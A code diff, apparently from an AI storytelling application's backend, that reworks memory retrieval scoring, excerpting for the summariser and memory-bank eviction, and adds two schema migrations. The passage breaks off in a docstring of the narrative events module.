@@ -36,6 +38,7 @@ from sqlalchemy.orm import Session, defer, object_session
 
 from . import derived, models, summaries, tree, vectors
 from .context import (
+    count_tokens,
     cursors,
     history,
     lineage,
@@ -43,8 +46,11 @@ from .context import (
     story_actions,
     truncate_to_last_tokens,
 )
+from .context.builder import _encoding as _token_encoding
 from .database import SessionLocal
 from .knowledge import embeddings as knowledge_embeddings
+from .knowledge import fts
+from .narrative import model as narrative_model
 from .providers import OpenAICompatibleProvider, ProviderError
 from .vectors import cosine  # re-exported: the ranking lives here, the maths there
 
@@ -55,10 +61,14 @@ MEMORY_START = 12  # first memory once the adventure reaches this many actions
 SUMMARY_INTERVAL = 15  # actions between Story Summary updates
 MAX_MEMORIES_PER_RUN = 5  # cap catch-up work (e.g. imported adventures) per turn
 MAX_EMBED_BATCH = 32
-RETRIEVAL_WINDOW_TOKENS = 600  # recent story text used as the similarity query
-RETRIEVAL_WINDOW_ACTIONS = 4  # ...taken from this many of the newest actions
 SUMMARY_MAX_WORDS = 250
-MEMORY_EXCERPT_TOKENS = 2000  # of the block, when a block is longer than this
+MEMORY_EXCERPT_TOKENS = 2000  # the most of a block the summariser is shown
+
+# v1.1 WP-B.2: what stands between the two parts of a block too long to send
+# whole. It says a part is missing, so the summariser does not read the end as
+# following straight on from the opening, and `summarize_block` removes it from
+# anything the model repeats back.
+EXCERPT_OMISSION_MARKER = "[… the middle of this stretch of story is left out here …]"
 
 # How much story has to sit past a block before that block is summarized.
 #
@@ -278,9 +288,10 @@ def set_vector(memory: models.Memory, vector: list[float] | None) -> None:
     """
     memory.embedding_blob = None if vector is None else vectors.pack(vector)
     memory.embedded = vector is not None
-    cached = _vector_cache.get(memory.adventure_id)
-    if cached is not None:
-        cached.pop(memory.id, None)
+    for cache in (_vector_cache, _terms_cache):
+        cached = cache.get(memory.adventure_id)
+        if cached is not None:
+            cached.pop(memory.id, None)
 
 
 # ---------- The vector cache ----------
@@ -309,6 +320,37 @@ _vector_cache: OrderedDict[int, dict[int, array]] = OrderedDict()
 VECTOR_CACHE_ADVENTURES = 8  # ~600 KB each at a 100-memory bank
 
 
+# v1.1 WP-B.2: each memory's lexical terms, held the same way and by the same
+# two rules as its vector. `set_vector` is also where a memory's text changes
+# (an edit clears the vector to re-embed it), so dropping the entry there covers
+# a rewritten text as well as a rewritten vector. Text is read only for memories
+# not already held, and only on a turn whose input has words to match.
+_terms_cache: OrderedDict[int, dict[int, frozenset[str]]] = OrderedDict()
+
+
+def _terms_for(db: Session, adventure_id: int, ids: list[int]) -> dict[int, frozenset[str]]:
+    """The lexical terms for `ids`, reading text only for the ones not already held."""
+    cached = _terms_cache.get(adventure_id)
+    if cached is None:
+        cached = _terms_cache[adventure_id] = {}
+    _terms_cache.move_to_end(adventure_id)
+    while len(_terms_cache) > VECTOR_CACHE_ADVENTURES:
+        _terms_cache.popitem(last=False)
+
+    wanted = set(ids)
+    for gone in set(cached) - wanted:
+        del cached[gone]
+    missing = [memory_id for memory_id in ids if memory_id not in cached]
+    if missing:
+        rows = db.execute(
+            select(models.Memory.id, models.Memory.text)
+            .where(models.Memory.id.in_(missing))
+        ).all()
+        for memory_id, text in rows:
+            cached[memory_id] = lexical_terms(text or "")
+    return cached
+
+
 def forget_cached_vectors(adventure_id: int) -> None:
     """Drops an adventure's cached vectors.
 
@@ -316,6 +358,7 @@ def forget_cached_vectors(adventure_id: int) -> None:
     corrects itself, as described in the comment above.
     """
     _vector_cache.pop(adventure_id, None)
+    _terms_cache.pop(adventure_id, None)
 
 
 def _vectors_for(db: Session, adventure_id: int, ids: list[int]) -> dict[int, array]:
@@ -535,25 +578,219 @@ def cast_brief(adventure: models.Adventure, text: str) -> str:
 
 # ---------- Retrieval (runs inside the turn, before build_context) ----------
 
+# v1.1 WP-B.2: what the retrieval query is made of, and how a memory is scored
+# against it (CONTEXT-AND-MEMORY §18, §20).
+#
+# WP-B.1 measured the v1.0.0 query, the newest four actions cut to 600 tokens,
+# against a planted early fact. The player's one-line question arrived after
+# three turns of narration, so the embedding mostly described the narration: a
+# direct question about the fact fell from cosine 0.708 on its own to 0.241 in
+# that query, and a real 100-turn campaign ranked the only memory of the fact
+# 10th of 19 against a `memory_top_k` of 4.
+#
+# The query is now two short texts, embedded in one call:
+#
+#   input    the player's own action this turn, when there is one
+#   context  the current scene from the authoritative state (summary, location,
+#            who is present), then the end of the newest narration
+#
+# The context is still there because a question often cannot be read without
+# it ("I ask her where she hid it"), and §18 says retrieval must not rely on raw
+# input alone. It is bounded so it can resolve a reference but cannot outweigh
+# the question by sheer length.
+#
+# A memory's score is
+#
+#   semantic_score = INPUT_WEIGHT * cos(input, memory)
+#                    + (1 - INPUT_WEIGHT) * cos(context, memory)
+#   lexical_score  = rarity-weighted share of the input's words the memory holds
+#   final_score    = semantic_score + LEXICAL_WEIGHT * lexical_score
+#
+# With no player input (a continue, or a dry run from Insights) the semantic
+# score is the context cosine alone and the lexical score is 0. Pins are
+# unchanged: a pinned memory is always used and counts toward `memory_top_k`.
+INPUT_TYPES = ("do", "say", "story")  # player actions that carry words to search for
+QUERY_INPUT_TOKENS = 200  # of the player's action; a long `story` entry is cut
+QUERY_SCENE_TOKENS = 60  # of the state's scene line
+QUERY_NARRATION_TOKENS = 120  # from the end of the newest narration
+INPUT_WEIGHT = 0.6
+# Chosen by sweep (0, 0.05, 0.1, 0.15, 0.2, 0.3, 0.5) over the deterministic
+# ranking fixtures, recorded in the WP-B.2 report (§C, §D). The two-part query
+# alone already ranks the planting-era memory first; 0.15 is the smallest weight
+# at which the lexical term by itself also lifts it into `memory_top_k` against
+# the v1.0.0 narration-filled query, and no rare-word negative control put an
+# unrelated memory above it. At 0.5 an incidental shared word was enough to
+# select it for an unrelated question, which is the failure a larger weight buys.
+LEXICAL_WEIGHT = 0.15
+# `fts.terms` drops these already; the plural fold below is the only stemming.
+_MIN_FOLD_LENGTH = 5
+
+
+def _fold(word: str) -> str:
+    """One term, reduced so "shelves'" and "shelf" do not meet, but "teapots"
+    and "teapot" do. Possessives lose their `'s`, and a trailing `s` goes from a
+    word long enough to be a plural and not ending in `ss`. Deliberately no more
+    than that: a stemmer is a dependency, and a wrong fold merges two words."""
+    word = word.split("'", 1)[0]
+    if len(word) >= _MIN_FOLD_LENGTH and word.endswith("s") and not word.endswith("ss"):
+        word = word[:-1]
+    return word
+
+
+def lexical_terms(text: str) -> frozenset[str]:
+    """The words of `text` that lexical matching compares, folded.
+
+    The tokenizer and stop list are imported knowledge's (`knowledge.fts`), so
+    the two retrieval paths agree on what a word is.
+    """
+    return frozenset(t for t in (_fold(w) for w in fts.terms(text)) if len(t) >= fts.MIN_TERM_LENGTH)
+
+
+def lexical_scores(input_terms: frozenset[str], terms_of: dict[int, frozenset[str]]) -> dict[int, float]:
+    """Each candidate's share of the input's rarity, in [0, 1].
+
+    A term's weight is `ln((N + 1) / (df + 1))`: N candidates, df of them holding
+    it. A word every candidate holds weighs exactly 0, so a protagonist's name or
+    a word the whole bank shares moves nothing, and a word no candidate holds
+    weighs the most. The share is taken over **all** the input's terms, so a
+    memory that happens to hold one rare word of a longer question gets that
+    word's part of the question, not the whole of it. The weights live only for
+    this call, over this candidate set: no index, no stored field.
+    """
+    if not input_terms or not terms_of:
+        return {memory_id: 0.0 for memory_id in terms_of}
+    n = len(terms_of)
+    weight = {
+        term: math.log((n + 1) / (sum(1 for terms in terms_of.values() if term in terms) + 1))
+        for term in input_terms
+    }
+    total = sum(weight.values())
+    if total <= 0:
+        return {memory_id: 0.0 for memory_id in terms_of}
+    return {
+        memory_id: min(1.0, sum(w for term, w in weight.items() if term in terms) / total)
+        for memory_id, terms in terms_of.items()
+    }
+
+
+def _scene_text(state) -> str:
+    """The scene as the authoritative state has it: summary, location, who is present.
+
+    Names only, read straight off the document. The full entity list is left
+    out on purpose: a campaign with a large cast would turn every query into a
+    search for everyone.
+    """
+    if not isinstance(state, dict):
+        return ""
+    scene = state.get("scene")
+    if not isinstance(scene, dict):
+        return ""
+    pieces: list[str] = []
+    summary = scene.get("summary")
+    if isinstance(summary, str) and summary.strip():
+        pieces.append(summary.strip())
+    location = scene.get("location")
+    if isinstance(location, str) and location.strip():
+        pieces.append(narrative_model.entity_name(state, location.strip()))
+    present = scene.get("present")
+    if isinstance(present, list):
+        names = [narrative_model.entity_name(state, key) for key in present[:8]
+                 if isinstance(key, str) and key.strip()]
+        if names:
+            pieces.append(", ".join(names))
+    return truncate_to_last_tokens(". ".join(pieces), QUERY_SCENE_TOKENS)
+
+
+def retrieval_query(adventure: models.Adventure, exclude_action_id: int | None = None) -> dict:
+    """The two texts a turn's memory retrieval embeds, and the words it matches.
+
+    Returns `{"input", "context", "input_terms"}`. `input` is empty when the
+    newest action is not a player action with text, which is a continue turn or a
+    dry run. `context` is empty only for a story with no scene and no narration.
+    """
+    recent = history.tail(adventure, 2, exclude_action_id)
+    newest = recent[-1] if recent else None
+    player_input = ""
+    if newest is not None and newest.type in INPUT_TYPES:
+        player_input = truncate_to_last_tokens(newest.text.strip(), QUERY_INPUT_TOKENS)
+        narration = recent[0].text if len(recent) > 1 else ""
+    else:
+        narration = newest.text if newest is not None else ""
+    context = "\n".join(part for part in (
+        _scene_text(adventure.narrative_state),
+        truncate_to_last_tokens(narration.strip(), QUERY_NARRATION_TOKENS),
+    ) if part.strip())
+    return {
+        "input": player_input,
+        "context": context,
+        "input_terms": sorted(lexical_terms(player_input)),
+    }
+
+
+def score_candidates(
+    ids: list[int],
+    held: dict,
+    terms_of: dict[int, frozenset[str]],
+    input_vec,
+    context_vec,
+    input_terms,
+) -> list[tuple[float, int, float, float]]:
+    """`(final_score, memory_id, semantic_score, lexical_score)`, best first.
+
+    Ties on the final score are broken by id, so the order never depends on the
+    order the database returned rows in.
+    """
+    lexical = lexical_scores(frozenset(input_terms), {i: terms_of.get(i, frozenset()) for i in ids})
+    rows = []
+    for memory_id in ids:
+        vector = held[memory_id]
+        if input_vec is not None and context_vec is not None:
+            semantic = (INPUT_WEIGHT * cosine(input_vec, vector)
+                        + (1.0 - INPUT_WEIGHT) * cosine(context_vec, vector))
+        else:
+            semantic = cosine(input_vec if input_vec is not None else context_vec, vector)
+        lex = lexical.get(memory_id, 0.0)
+        rows.append((semantic + LEXICAL_WEIGHT * lex, memory_id, semantic, lex))
+    rows.sort(key=lambda row: (-row[0], row[1]))
+    return rows
+
+
+def select_memories(scored, pinned_of, held, authority_of, top_k):
+    """Pins first, then the best-scoring rest, skipping repeats (§22).
+
+    Returns `(used, suppressed)`. `used` is `(final_score, memory_id, pinned)`
+    rows, best first.
+    """
+    rows = [(final, memory_id, pinned_of[memory_id]) for final, memory_id, _, _ in scored]
+    used = [row for row in rows if row[2]]
+    remaining = max(0, top_k - len(used))
+    candidates = [row for row in rows if not row[2]]
+    kept, suppressed = _drop_redundant(candidates, held, authority_of, remaining)
+    used += kept
+    used.sort(key=lambda row: (-row[0], row[1]))
+    return used, suppressed
+
+
 async def retrieve_memories(
     adventure: models.Adventure,
     settings: models.Settings,
     *,
-    update_stats: bool,
     exclude_action_id: int | None = None,
 ) -> dict | None:
     """Returns the memories to inject, or None when the bank is off.
 
     The result is a dict of the form
-    `{"used": [{id, text, similarity, pinned}], "error": str | None}`. It is
-    None when the memory bank is disabled for this adventure.
+    `{"used": [{id, text, similarity, semantic_score, lexical_score,
+    final_score, pinned, authority, source}], "query": {...}, "error": str | None}`.
+    `similarity` is the semantic score, under the name the inspector has always
+    shown. It is None when the memory bank is disabled for this adventure.
 
-    Set `update_stats` to True to increment the use counters. Only real turns
-    should do this, not the dry runs that Insights performs.
+    This only reads. A turn counts the memories it used with `record_use`, just
+    before the commit that saves the turn; see that function for why the count
+    cannot be written here.
 
-    `exclude_action_id` removes the action being retried from the similarity
-    query, so that a discarded attempt cannot influence which memories are
-    returned.
+    `exclude_action_id` removes the action being retried from the query, so that
+    a discarded attempt cannot influence which memories are returned.
     """
     if not adventure.memory_bank_enabled:
         return None
@@ -585,39 +822,33 @@ async def retrieve_memories(
     if not catalogue:
         return {"used": [], "error": None}
 
-    recent = history.tail(adventure, RETRIEVAL_WINDOW_ACTIONS, exclude_action_id)
-    query = truncate_to_last_tokens(
-        "\n\n".join(a.text for a in recent), RETRIEVAL_WINDOW_TOKENS
-    )
-    if not query.strip():
+    query = retrieval_query(adventure, exclude_action_id)
+    texts = [t for t in (query["input"], query["context"]) if t.strip()]
+    if not texts:
         return {"used": [], "error": None}
 
     try:
-        [query_vec] = await embedding_provider(settings).embed([query])
+        embedded = await embedding_provider(settings).embed(texts)
     except ProviderError as exc:
         return {"used": [], "error": str(exc)}
+    vectors_by_text = dict(zip(texts, embedded))
+    input_vec = vectors_by_text.get(query["input"]) if query["input"].strip() else None
+    context_vec = vectors_by_text.get(query["context"]) if query["context"].strip() else None
 
-    held = _vectors_for(db, adventure.id, [memory_id for memory_id, _, _ in catalogue])
+    ids = [memory_id for memory_id, _, _ in catalogue]
+    held = _vectors_for(db, adventure.id, ids)
+    # Memory text is read only when there are input words to match against, and
+    # then only for memories not already held (see `_terms_for`).
+    terms_of = _terms_for(db, adventure.id, ids) if query["input_terms"] else {}
     authority_of = {memory_id: authority for memory_id, _, authority in catalogue}
-    scored = sorted(
-        (
-            (cosine(query_vec, held[memory_id]), memory_id, pinned)
-            for memory_id, pinned, _ in catalogue
-            if memory_id in held
-        ),
-        key=lambda row: row[0],
-        reverse=True,
+    pinned_of = {memory_id: pinned for memory_id, pinned, _ in catalogue}
+    scored = score_candidates(
+        [memory_id for memory_id in ids if memory_id in held],
+        held, terms_of, input_vec, context_vec, query["input_terms"],
     )
-    # Pinned memories are always used, and they count toward `top_k`, so the
-    # injected set stays within the budget unless the pinned memories alone
-    # exceed it.
-    top_k = max(1, settings.memory_top_k)
-    used = [row for row in scored if row[2]]
-    remaining = max(0, top_k - len(used))
-    candidates = [row for row in scored if not row[2]]
-    kept, suppressed = _drop_redundant(candidates, held, authority_of, remaining)
-    used += kept
-    used.sort(key=lambda row: row[0], reverse=True)
+    components = {memory_id: (semantic, lex) for _, memory_id, semantic, lex in scored}
+    used, suppressed = select_memories(
+        scored, pinned_of, held, authority_of, max(1, settings.memory_top_k))
     if not used:
         return {"used": [], "error": None}
 
@@ -638,26 +869,19 @@ async def retrieve_memories(
             ).where(models.Memory.id.in_(used_ids))
         ).all()
     }
-    texts = {memory_id: row.text for memory_id, row in detail.items()}
-
-    if update_stats:
-        # Pass `synchronize_session=False` because nothing in this request
-        # reads the counters back. Matching the UPDATE against loaded objects
-        # would require loading those objects, which is the cost this code path
-        # exists to avoid.
-        db.execute(
-            update(models.Memory)
-            .where(models.Memory.id.in_(used_ids))
-            .values(use_count=models.Memory.use_count + 1, last_used_at=models.utcnow())
-            .execution_options(synchronize_session=False)
-        )
+    texts_of = {memory_id: row.text for memory_id, row in detail.items()}
 
     return {
         "used": [
             {
                 "id": memory_id,
-                "text": texts.get(memory_id, ""),
-                "similarity": round(score, 4),
+                "text": texts_of.get(memory_id, ""),
+                "similarity": round(components[memory_id][0], 4),
+                # v1.1 WP-B.2: the parts of the score, so an inspector can see
+                # why this memory beat the ones below it.
+                "semantic_score": round(components[memory_id][0], 4),
+                "lexical_score": round(components[memory_id][1], 4),
+                "final_score": round(final, 4),
                 "pinned": pinned,
                 # M6: what weight this carries, and where it came from.
                 "authority": getattr(detail.get(memory_id), "authority", ACCEPTED_STORY),
@@ -668,7 +892,7 @@ async def retrieve_memories(
                     "source_end": getattr(detail.get(memory_id), "source_end", None),
                 },
             }
-            for score, memory_id, pinned in used
+            for final, memory_id, pinned in used
         ],
         "considered": len(catalogue),
         # M6: how many candidates were set aside as repeating one already
@@ -677,10 +901,51 @@ async def retrieve_memories(
             {"id": memory_id, "duplicate_of": kept_id}
             for memory_id, kept_id in suppressed
         ],
+        # v1.1 WP-B.2: what was searched for. Recorded per turn, like the rest.
+        "query": {
+            "input": query["input"],
+            "context": query["context"],
+            "input_terms": query["input_terms"],
+            "input_weight": INPUT_WEIGHT if input_vec is not None and context_vec is not None
+            else (1.0 if input_vec is not None else 0.0),
+            "lexical_weight": LEXICAL_WEIGHT,
+        },
         "error": None,
     }
 
 
+def record_use(db: Session, memory_bank: dict | None) -> None:
+    """Counts the memories a turn was given, as part of that turn's commit.
+
+    Call this immediately before the commit that saves the turn, and never
+    before the model call. This counter used to be written during retrieval, and
+    the UPDATE opened a write transaction that stayed open for the whole reply,
+    because the turn commits only once the narration has streamed. SQLite has
+    one writer. Every post-turn memory, summary and status write that arrived
+    during the reply waited out the driver's five-second timeout and failed with
+    `database is locked`. Recording those failures also needs a write, so it
+    failed the same way, and derived status kept reporting `idle`. A 26-turn
+    run on a GPU host wrote two memories and no summary while every turn was
+    accepted.
+
+    Only real turns count, never Insights' dry runs. A turn that fails before
+    its commit counts nothing, because nothing was used.
+
+    Pass `synchronize_session=False` because nothing in this request reads the
+    counters back. Matching the UPDATE against loaded objects would require
+    loading those objects, which is the cost this code path exists to avoid.
+    """
+    used_ids = [m["id"] for m in (memory_bank or {}).get("used") or []]
+    if not used_ids:
+        return
+    db.execute(
+        update(models.Memory)
+        .where(models.Memory.id.in_(used_ids))
+        .values(use_count=models.Memory.use_count + 1, last_used_at=models.utcnow())
+        .execution_options(synchronize_session=False)
+    )
+
+
 # ---------- Post-turn background work ----------
 
 def schedule_post_turn(adventure: models.Adventure) -> None:
@@ -768,6 +1033,11 @@ async def run_post_turn(adventure_id: int) -> None:
         # setup above, or in eviction. M2's lesson is that the one thing this
         # may not do is vanish. Re-raising would only feed an unobserved task.
         try:
+            # Roll back first. The failure is often a flush or commit that
+            # failed, which leaves the session unusable until it is rolled
+            # back, and the record then fails with `PendingRollbackError`
+            # instead of being written. `_guarded` already does this.
+            db.rollback()
             derived.failed(db, adventure_id, derived.MEMORY, exc)
             db.commit()
         except BaseException:  # noqa: BLE001 - the recorder must not mask it
@@ -797,6 +1067,61 @@ async def _guarded(db: Session, adventure_id: int, kind: str, coro) -> None:
         db.commit()
 
 
+def _excerpt_encoding():
+    return _token_encoding()
+
+
+def excerpt_split(budget: int = MEMORY_EXCERPT_TOKENS) -> tuple[int, int]:
+    """`(head_tokens, tail_tokens)` for a block longer than `budget`.
+
+    The marker and the blank lines around it are paid for first; what is left is
+    halved, and an odd token goes to the tail, the most recent part. So the two
+    parts plus the marker come to exactly `budget`.
+    """
+    room = max(0, budget - count_tokens(f"\n\n{EXCERPT_OMISSION_MARKER}\n\n"))
+    head = room // 2
+    return head, room - head
+
+
+def memory_excerpt(raw: str, budget: int = MEMORY_EXCERPT_TOKENS) -> str:
+    """What the summariser is shown of one block.
+
+    v1.1 WP-B.2. A block that fits in `budget` tokens is sent whole, exactly as
+    before. A longer block used to be cut to its last `budget` tokens, and B.1
+    showed that a fact near its start then never reached the summariser at all.
+    It is now sent as its opening and its end, in order, with
+    `EXCERPT_OMISSION_MARKER` between them, still inside `budget`.
+
+    Rejoining two token runs can tokenise a little differently at the seams, so
+    the result is measured, and the head gives up tokens until it fits. A fact in
+    the middle of a very long block is still left out: this bounds the input, it
+    does not summarise everything.
+    """
+    enc = _excerpt_encoding()
+    tokens = enc.encode(raw)
+    if len(tokens) <= budget:
+        return raw
+    head_n, tail_n = excerpt_split(budget)
+    while True:
+        excerpt = (f"{enc.decode(tokens[:head_n]).rstrip()}\n\n{EXCERPT_OMISSION_MARKER}\n\n"
+                   f"{enc.decode(tokens[-tail_n:]).lstrip()}" if tail_n else
+                   enc.decode(tokens[:head_n]))
+        over = count_tokens(excerpt) - budget
+        if over <= 0 or head_n == 0:
+            return excerpt
+        head_n = max(0, head_n - over)
+
+
+def memory_user_prompt(brief: str, excerpt: str) -> str:
+    """The user message of a memory call: the cast brief, then the excerpt.
+
+    Kept apart from `summarize_block` so an evaluation can send a model exactly
+    what the application sends (v1.1 WP-B.2, `tools/memory_fidelity.py`).
+    """
+    prompt = f"Story excerpt:\n\n{excerpt}\n\nMemory:"
+    return f"{brief}\n\n{prompt}" if brief else prompt
+
+
 async def summarize_block(
     adventure: models.Adventure,
     provider: OpenAICompatibleProvider,
@@ -815,15 +1140,16 @@ async def summarize_block(
     old text in place and moves on.
     """
     raw = "\n\n".join(a.text for a in block)
-    excerpt = truncate_to_last_tokens(raw, MEMORY_EXCERPT_TOKENS)
+    excerpt = memory_excerpt(raw)
     # Match the cast against the untruncated block. The excerpt is what the
-    # model reads, but a character named in the part that was trimmed is still
+    # model reads, but a character named in the part that was left out is still
     # one the memory may have to name.
     brief = cast_brief(adventure, raw)
-    prompt = f"Story excerpt:\n\n{excerpt}\n\nMemory:"
-    return await provider.complete(
-        MEMORY_SYSTEM_PROMPT, f"{brief}\n\n{prompt}" if brief else prompt
-    )
+    text = await provider.complete(MEMORY_SYSTEM_PROMPT, memory_user_prompt(brief, excerpt))
+    # The marker is an instruction to the summariser, never a fact of the story.
+    if text and EXCERPT_OMISSION_MARKER in text:
+        text = " ".join(text.replace(EXCERPT_OMISSION_MARKER, " ").split())
+    return text
 
 
 async def _create_due_memories(
@@ -1003,11 +1329,93 @@ async def _embed_pending(
     return len(pending)
 
 
+def eviction_order(rows, limit: int) -> list[int]:
+    """The ids eviction would take, first to last, at most `limit` of them.
+
+    v1.1 WP-B.2. `rows` are the active memories of one adventure, each with
+    `id`, `pinned`, `source_start`, `source_end`, `last_used_at`, `created_at`
+    and `use_count`. Nothing here reads a vector or the database, so the same
+    function is what the eviction pass runs and what a diagnostic reports.
+
+    WP-B.1 showed what pure least-recently-used order does to a long campaign.
+    Retrieval is steered by the present scene, so a memory of an early stretch
+    nothing recent resembles stops being used. It then becomes the least
+    recently used row, and it goes first, while the bank keeps several memories
+    of the last few scenes that the history window still holds in full. The
+    rule below keeps the bank spread over the whole story instead.
+
+    **Coverage.** Memories with a source range say which stretch of the story
+    they describe. A memory is judged by the hole its removal would leave: the
+    number of depths between the end of the nearest memory before it and the
+    start of the nearest memory after it. The smallest hole goes first, so the
+    bank thins where it is densest. A memory whose start another memory shares
+    (a retried or re-played stretch, or a sibling line) leaves no hole, and is
+    the first kind to go. Pinned memories count as coverage, since they stay.
+
+    **Boundaries.** The earliest and the latest memory by position leave a hole
+    with no memory on one side: removing the first loses the only record of the
+    opening, and removing the last loses the only record of the most recent
+    stretch, which is also what keeps a memory written this turn from being
+    evicted by the pass that wrote it (the frozen bank, below). Boundaries are
+    not coverage candidates.
+
+    **Recency.** Among memories whose removal leaves the same hole, the least
+    recently used goes first (`coalesce(last_used_at, created_at)`), then the
+    less used, then the lower id. Ties are therefore never left to the order the
+    database returned rows in.
+
+    **Fallback.** When no memory is a coverage candidate — memories typed by the
+    player or migrated from before coordinates have no range, and a bank can be
+    all boundaries — the rest are taken least recently used first, exactly as
+    v1.0.0 did. The bank stays bounded either way. Pinned memories are never
+    taken; if every active memory is pinned, capacity yields to the pins.
+
+    Recomputed after each pick, because removing one memory widens the holes
+    of its neighbours.
+    """
+    remaining = {row.id: row for row in rows if not row.pinned}
+    coverers = {row.id: row for row in rows
+                if row.source_start is not None and row.source_end is not None}
+
+    def recency(row):
+        return (row.last_used_at or row.created_at, row.use_count or 0, row.id)
+
+    order: list[int] = []
+    while remaining and len(order) < limit:
+        spans = sorted(coverers.values(), key=lambda r: (r.source_start, r.source_end, r.id))
+        starts: dict[int, int] = {}
+        for row in spans:
+            starts[row.source_start] = starts.get(row.source_start, 0) + 1
+        best = None
+        furthest_end = None  # the largest source_end before index i
+        for i, row in enumerate(spans):
+            if row.id in remaining:
+                if starts[row.source_start] > 1:
+                    cost = 0
+                elif i == 0 or i == len(spans) - 1:
+                    cost = None  # a boundary
+                else:
+                    cost = max(0, spans[i + 1].source_start - furthest_end - 1)
+                if cost is not None:
+                    key = (cost, *recency(row))
+                    if best is None or key < best[0]:
+                        best = (key, row.id)
+            furthest_end = row.source_end if furthest_end is None else max(furthest_end, row.source_end)
+        if best is None:
+            victim = min(remaining.values(), key=recency).id
+        else:
+            victim = best[1]
+        order.append(victim)
+        del remaining[victim]
+        coverers.pop(victim, None)
+    return order
+
+
 def _evict_over_capacity(
     adventure: models.Adventure, settings: models.Settings, db: Session
 ) -> None:
-    # The database performs both the count and the ranking, and returns neither
-    # the rows nor the vectors. Counting by walking `adventure.memories` fetched
+    # The database performs the count, and the rows read for ordering carry
+    # neither text nor vectors. Counting by walking `adventure.memories` fetched
     # every vector in the bank on every turn, whether or not the bank was over
     # capacity.
     in_this_bank = (models.Memory.adventure_id == adventure.id,
@@ -1018,32 +1426,23 @@ def _evict_over_capacity(
     overflow = active - max(1, settings.memory_bank_capacity)
     if overflow <= 0:
         return
-    # Evict the least recently used memory first, and use the use count only to
-    # break ties.
+    # v1.1 WP-B.2: the order is `eviction_order`, coverage first and recency
+    # second. It replaces least recently used alone; see that function.
     #
-    # Ordering by use count first froze the bank. A memory written on this turn
-    # has never been used, so once every other memory had been retrieved at
-    # least once, the new memory held the lowest count in the bank. The same
-    # post-turn run that wrote it then evicted it, one pass after embedding it.
-    # Use counts only increase, so the bank never recovered. An adventure kept
-    # whatever memories it held when the bank first filled, and every later
-    # memory was summarized, marked as forgotten, and never ranked.
-    #
-    # Ordering by recency avoids that. A new memory carries the newest
-    # timestamp, so it is the last row to be evicted rather than the first, and
-    # it remains until other memories are used. Demoting the use count costs
-    # little, because retrieving a useful memory also makes it recent. The two
-    # orderings differ only for memories that were used once and have not been
-    # retrieved since, which are the rows a full bank should evict.
-    doomed = db.execute(
-        select(models.Memory.id)
-        .where(*in_this_bank, models.Memory.pinned.is_(False))
-        .order_by(
-            func.coalesce(models.Memory.last_used_at, models.Memory.created_at),
-            models.Memory.use_count,
-        )
-        .limit(overflow)
-    ).scalars().all()
+    # What the old ordering fixed still holds. Ordering by use count first froze
+    # the bank: a memory written on this turn has never been used, so once every
+    # other memory had been retrieved at least once, the new memory held the
+    # lowest count in the bank, and the same post-turn run that wrote it evicted
+    # it. Counts only increase, so the bank never recovered. Under the coverage
+    # rule the newest memory is the latest boundary, so it is not a coverage
+    # candidate, and in the fallback it carries the newest timestamp.
+    rows = db.execute(
+        select(models.Memory.id, models.Memory.pinned, models.Memory.source_start,
+               models.Memory.source_end, models.Memory.last_used_at,
+               models.Memory.created_at, models.Memory.use_count)
+        .where(*in_this_bank)
+    ).all()
+    doomed = eviction_order(rows, overflow)
     if not doomed:
         return  # Every active memory is pinned, so the pins override capacity.
     db.execute(

backend/app/migrations.py

@@ -461,6 +461,24 @@ MIGRATIONS: list[tuple[int, str | dict[str, str]]] = [
     # `MEDIA-EXTENSION-CONTRACT.md` §37 says must never appear without the
     # reader asking for it. An M9 campaign therefore opens with no profiles,
     # which is what such a campaign had, and plays unchanged without any.
+
+    # M11: the campaign's narration-length choice (post-M8 finding C). A new
+    # column on an existing table, which `create_all` cannot add, so unlike M10
+    # this one does need a migration.
+    #
+    # **No backfill, and the empty default is the correct value.** A campaign
+    # created before M11 never made this choice — its length preference lives,
+    # if anywhere, as an English sentence somebody may have edited inside
+    # `ai_instructions`. Reading a length back out of that free text would be
+    # inventing a decision the reader did not record. An empty value means "no
+    # choice", and `length_hint` then behaves exactly as it did before M11, so
+    # an existing campaign's prompts do not change under it.
+    (93, "ALTER TABLE adventures ADD COLUMN narration_length VARCHAR(20) "
+         "NOT NULL DEFAULT ''"),
+    # Nullable, and null by default: an override that defaulted to a number
+    # would be the application guessing at a window again, which is the one
+    # thing `contextwindow` refuses to do. Null means "nobody has said".
+    (94, "ALTER TABLE settings ADD COLUMN context_window_override INTEGER"),
 ]
 
 LATEST_VERSION = max((v for v, _ in MIGRATIONS), default=1)

backend/app/models.py

@@ -99,6 +99,15 @@ class Adventure(Base):
     memory: Mapped[str] = mapped_column(Text, default="")
     authors_note: Mapped[str] = mapped_column(Text, default="")
     ai_instructions: Mapped[str] = mapped_column(Text, default="")
+    #: M11, post-M8 finding C: how long the reader asked turns to be — "brief",
+    #: "medium", "long", or empty for a campaign that never chose. Stored as its
+    #: own field rather than left inside `ai_instructions`, because the prompt
+    #: builder has to *derive a number* from it (`context.builder.LENGTH_BANDS`)
+    #: and reading an English sentence back out of a free-text field to do that
+    #: would be a parser nobody wants. The sentence still goes into the
+    #: instructions, where the reader can edit or remove it; this is the part the
+    #: application acts on.
+    narration_length: Mapped[str] = mapped_column(String(20), default="")
     # A convenience mirror of whichever summary is eligible at the current
     # position, and **never** an input to anything authoritative (M6 corrective,
     # review finding M6-F1).
@@ -1215,6 +1224,14 @@ class Settings(Base):
     # while the same turn takes seconds once the model is resident. See
     # `providers.openai_compatible.DEFAULT_READ_TIMEOUT`.
     model_timeout_seconds: Mapped[int] = mapped_column(Integer, default=300)
+    # What window the inference server enforces, when the server cannot be asked
+    # for it. Discovery (`contextwindow`) speaks Ollama's native API; a server
+    # that does not serve one — vLLM, llama.cpp's own server — leaves the window
+    # unknown and the budget uncapped. This is the operator saying how they
+    # launched it. It never overrides a window the server did report, and null
+    # means nobody has said, because a default here would be a guess.
+    context_window_override: Mapped[int | None] = mapped_column(
+        Integer, nullable=True, default=None)
     narrator_prompt: Mapped[str] = mapped_column(
         Text,
         default=(

backend/app/narrative/events.py

@@ -35,6 +35,8 @@ creating a second, empty Mara.
 
 from __future__ import annotations
 
+import json
+
 # Field types the schema layer enforces. Kept deliberately small: a narrative
 # state event carries names, labels and plain values, and nothing here needs a
 # nested structure a model could hide something inside.
@@ -184,11 +186,30 @@ def vocabulary_for_prompt() -> str:
     Generated from `SPECS` rather than written out beside it, so the model can
     never be told about an event the application does not implement — the drift
     that would produce proposals rejected for reasons nobody could see.
+
+    v1.1 WP-A2: each event is shown as the object the model must put in the
+    `events` list, with its required fields, not as `name(field, …)`. The call
+    notation was never the wire format, and a 3B narrator copied it into its
